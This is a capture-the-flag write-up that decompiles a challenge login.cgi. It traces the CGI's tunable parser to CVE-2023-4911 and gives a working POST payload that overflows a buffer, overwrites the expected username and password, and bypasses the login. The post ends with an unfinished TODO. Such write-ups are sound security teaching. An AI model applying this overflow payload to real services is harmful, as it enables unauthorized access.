Looney Tunable
We are provided with a login.cgi
file and a web service, presumably running the login.cgi
file.
Analysis
Decompiling the cgi_process
function reveals that login.cgi
implements a login service:
generate_random_string(username_buf, 0x10u);
generate_random_string(password_buf, 0x10u);
method = getenv("REQUEST_METHOD");
if ( method && !strcmp(method, "POST") )
{
data = getenv("CONTENT_LENGTH");
if ( data )
len_1 = atoi(data);
else
len_1 = 0;
len = len_1;
if ( len_1 > 0 && len <= 255 )
{
fread(tunestr, 1u, len, stdin);
urldecode(tunestr, tunestr);
strncpy(valstring, tunestr, 0x100u);
parse_tunable5(tunestr, valstring);
username = (char *)custom_tunable_list[0].type.value;
password = (char *)custom_tunable_list[1].type.value;
if ( username_buf[0] && password_buf[0] )
{
found = 0;
if ( !strncmp(username, username_buf, 0x10u) && !strncmp(password, password_buf, 0x10u) )
found = 1;
if ( found )
login_success_1 = (void (*)(const char *, const char *))login_success;
else
login_success_1 = (void (*)(const char *, const char *))login_failure;
action = login_success_1;
login_success_1(username_buf, tmp);
free(custom_tunable_list[0].type.ptr);
free(custom_tunable_list[1].type.ptr);
free(custom_tunable_list[2].type.ptr);
return 0;
}
else
{
printf("<h3>Error: Missing username or password in parsing</h3>");
return 1;
}
}
}
else
{
printf("<h3>Error: No data received</h3>");
return 1;
}
Unfortunately for us, the username_buf
and password_buf
, which contains the expected username and password, have been filled with random text using the generate_random_string
function.
However, our input (the POST request body) is parsed using the suspiciously complicated parse_tunable5
function.
CVE-2023-4911
A quick Google search for looney tunables
turns up the technical report for CVE-2023-4911, a buffer overflow vulnerability in glibc that enabled privilege escalation.
Malformed GLIBC_TUNABLES
strings resulted in unexpected behavior in the parse_tunables
function, which caused the buffer overflow. The parse_tunable5
function in login.cgi
is clearly inspired from parse_tunables
.
The only notable difference is the replacement of the :
separator with &
, presumably to fit in with the web aspect of this challenge. We will need to keep this in mind during the exploitation process.
The PoC provided in the report is tunable1=tunable2=AAA
, which causes an overflow in the tunestr
variable. This is handy for us, as tunestr
overflows into the password_buf
and username_buf
global variables:
Debugging
To debug this login.cgi
file, I used gdb
equipped with the gef and decomp2dbg plugins hooked up to IDA.
While it is possible to run the login.cgi
file using a web server (for example by using python3 -m http.server --bind localhost --cgi 8000
), this significantly complicates the debugging process.
Instead, we will run the login.cgi
normally, then pipe our exploit to its standard input.
We will also need to set two environment variables (in typical deployment, these variables will be set by the web server from the request headers):
export REQUEST_METHOD=POST
export CONTENT_LENGTH=250
After writing the PoC provided to exploit.txt
, we can finally run the login.cgi
binary in gdb
and test the exploit:
entry-break < exploit.txt
break *0x402599
decompiler connect ida
continue
Unfortunately, it seems that our attempt was unsuccessful as the tunestr
variable was not significantly modified:
This is because the tunable needs to be in the tunable list:
Let's update our exploit to use the target
tunable:
target=target=AAA
This time, we find that the tunestr
was indeed modified as expected:
Exploitation
By specifiying a long string of A
s for target
, and 16 A
s for username and password, we can successfully overwrite the expected password and username arrays:
username=AAAAAAAAAAAAAAAA&password=AAAAAAAAAAAAAAAA&target=target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Resuming execution of the program, the login success message is printed:
All that's left is to send this payload to the challenge server as a POST request body:
TODO: insert picture